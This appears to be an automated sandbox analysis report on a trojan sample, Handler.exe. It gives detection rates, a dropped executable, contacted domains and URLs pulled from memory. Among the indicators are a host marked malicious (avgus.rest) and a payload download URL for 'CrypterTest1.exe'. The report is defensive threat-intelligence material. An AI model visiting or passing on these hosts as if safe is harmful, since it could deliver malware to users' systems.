Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Handler.exe	50%	Virustotal		Browse
Handler.exe	42%	ReversingLabs	Win32.Trojan.Generic
Handler.exe	100%	Avira	HEUR/AGEN.1340047
Handler.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\5fctr1d2dt.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://anglebug.com/3584L	0%	Avira URL Cloud	safe
https://yachtingiturkey.com/CrypterTest1.exets	0%	Avira URL Cloud	safe
https://docs.googl0	0%	Avira URL Cloud	safe
http://anglebug.com/4836Q	0%	Avira URL Cloud	safe
https://drive-daily-4.c	0%	Avira URL Cloud	safe
http://anglebug.com/5881z	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	142.250.186.46	true	false	high
play.google.com	142.250.185.110	true	false	high
t.me	149.154.167.99	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.245.60.76	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	172.217.18.100	true	false	high
avgus.rest	116.203.11.8	true	true	unknown
yachtingiturkey.com	162.0.209.157	true	false	unknown
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
deff.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://steamcommunity.com/profiles/76561199817305251	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Handler.exe, 00000001.00000002.2629627670.0000000003B5C000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2237213528.00001DFC02DD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000007.00000002.2238267182.00001DFC0303C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2239346807.00001DFC034AE000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2240007192.00001DFC03C78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3584L	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/(	chrome.exe, 00000007.00000003.2181676198.00001DFC03ABC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181628885.00001DFC03AA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181519116.00001DFC03AA4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Handler.exe, 00000001.00000002.2629627670.0000000003B5C000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2237191650.00001DFC02DC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2172382643.00001DFC02DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com//	chrome.exe, 00000007.00000003.2181676198.00001DFC03ABC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181628885.00001DFC03AA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181519116.00001DFC03AA4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000007.00000002.2223861633.00001DFC0228C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/0	chrome.exe, 00000007.00000003.2181676198.00001DFC03ABC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181628885.00001DFC03AA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181519116.00001DFC03AA4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/7	chrome.exe, 00000007.00000003.2181676198.00001DFC03ABC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181628885.00001DFC03AA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181519116.00001DFC03AA4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000007.00000002.2236572042.00001DFC02C0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/J	chrome.exe, 00000007.00000002.2239346807.00001DFC034AE000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000007.00000003.2151728482.00001DFC026B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2236098344.00001DFC02B18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2154259268.00001DFC026B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2238726567.00001DFC03190000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227785580.00001DFC026B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2153747511.00001DFC026B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2187301854.00001DFC026B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147332999.00001DFC026B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2154023542.00001DFC03190000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235126710.00001DFC0291C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2169102520.00001DFC03190000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2149549955.00001DFC026B0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4633	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/tips/gsOpen	chrome.exe, 00000007.00000002.2235606077.00001DFC029E8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	Handler.exe, 00000001.00000002.2632796447.00000000042FF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2629627670.0000000003B1F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/284462263	msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/:	chrome.exe, 00000007.00000003.2181676198.00001DFC03ABC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181628885.00001DFC03AA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181519116.00001DFC03AA4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000007.00000002.2238852282.00001DFC031B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235525747.00001DFC029AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227851344.00001DFC026C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235569663.00001DFC029C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000007.00000003.2152492851.00001DFC032AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2154023542.00001DFC0316C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2153980613.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2154578581.00001DFC0340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2152470496.00001DFC0325C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2153025862.00001DFC03278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2153881138.00001DFC02E68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2152391394.00001DFC030A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2226784623.00001DFC02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2153936996.00001DFC028C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2152531529.00001DFC03128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2154487144.00001DFC0332C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2154259268.00001DFC02668000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	chrome.exe, 00000007.00000002.2226175917.00001DFC024EC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/:	chrome.exe, 00000007.00000002.2239346807.00001DFC034AE000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000007.00000002.2236202810.00001DFC02B87000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2236302120.00001DFC02BA8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/ogl	chrome.exe, 00000007.00000002.2240222674.00001DFC03D88000.00000004.00000800.00020000.00000000.sdmp	false		high
http://unisolated.invalid/	chrome.exe, 00000007.00000002.2236456756.00001DFC02BD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000007.00000003.2154578581.00001DFC0340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2154487144.00001DFC0332C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2154259268.00001DFC02668000.00000004.00000800.00020000.00000000.sdmp	false		high
https://yachtingiturkey.com/CrypterTest1.exets	Handler.exe, 00000001.00000002.2627835905.0000000001144000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome/tips/	chrome.exe, 00000007.00000002.2235606077.00001DFC029E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2236171001.00001DFC02B58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2238511011.00001DFC030E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2225242869.00001DFC023C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/?lfhs=2	chrome.exe, 00000007.00000003.2172294370.00001DFC032C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2239426835.00001DFC034C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2237151898.00001DFC02D9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2238001703.00001DFC02FA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6248	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/?lfhs=2ation.Result	chrome.exe, 00000007.00000002.2239426835.00001DFC034C0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000007.00000003.2168865136.00001DFC0354C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2172075586.00001DFC03628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2169333797.00001DFC0360C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2169393190.00001DFC034D4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836Q	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/6929	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5281	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/async/ddljson?async=ntp:2me/	chrome.exe, 00000007.00000002.2237191650.00001DFC02DC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2172382643.00001DFC02DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/?feature=ytca	chrome.exe, 00000007.00000003.2172294370.00001DFC032C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2236202810.00001DFC02B68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2238001703.00001DFC02FA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227676009.00001DFC02662000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.googl0	chrome.exe, 00000007.00000002.2226175917.00001DFC024EC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://issuetracker.google.com/255411748	msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000007.00000002.2238852282.00001DFC031B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235525747.00001DFC029AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2227851344.00001DFC026C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235569663.00001DFC029C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/	chrome.exe, 00000007.00000002.2240222674.00001DFC03D88000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?q=	chrome.exe, 00000007.00000002.2237213528.00001DFC02DD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2236202810.00001DFC02B68000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	chrome.exe, 00000007.00000003.2153819653.00001DFC02E80000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000002.2330461548.0000563C0016C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	chrome.exe, 00000007.00000003.2142765079.00001DFC0262C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000007.00000003.2152492851.00001DFC032AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2154023542.00001DFC0316C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2153980613.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2154578581.00001DFC0340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2152470496.00001DFC0325C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2153025862.00001DFC03278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2153881138.00001DFC02E68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2152391394.00001DFC030A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2226784623.00001DFC02580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2153936996.00001DFC028C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2152531529.00001DFC03128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2154487144.00001DFC0332C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2154259268.00001DFC02668000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000007.00000002.2237191650.00001DFC02DC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2172382643.00001DFC02DC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Handler.exe, 00000001.00000002.2629627670.0000000003B5C000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	false		high
http://anglebug.com/5881z	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://chrome.google.com/webstore?hl=en3	chrome.exe, 00000007.00000002.2239183044.00001DFC03324000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Handler.exe, 00000001.00000002.2629627670.0000000003B5C000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2237151898.00001DFC02D9C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-1.corp.google.com/	chrome.exe, 00000007.00000003.2142765079.00001DFC0262C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	chrome.exe, 00000007.00000002.2237344302.00001DFC02E30000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-5.corp.google.com/	chrome.exe, 00000007.00000003.2142765079.00001DFC0262C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.ico	chrome.exe, 00000007.00000002.2237213528.00001DFC02DD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000007.00000002.2228059988.00001DFC026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235126710.00001DFC0291C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2238903228.00001DFC031D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000007.00000002.2234891465.00001DFC028C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147332999.00001DFC026B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235126710.00001DFC0291C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2149549955.00001DFC026B0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/	chrome.exe, 00000007.00000003.2180629502.00001DFC032C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2236202810.00001DFC02B68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2239039977.00001DFC032CC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	chrome.exe, 00000007.00000002.2237344302.00001DFC02E30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7553	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	chrome.exe, 00000007.00000002.2237344302.00001DFC02E30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/s/notifications/manifest/cr_install.htmllt	chrome.exe, 00000007.00000002.2234441826.00001DFC027C4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5371	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000007.00000002.2237344302.00001DFC02E30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000007.00000002.2225483698.00001DFC0240C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000007.00000002.2228059988.00001DFC026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2235126710.00001DFC0291C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000002.2238903228.00001DFC031D4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7556	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
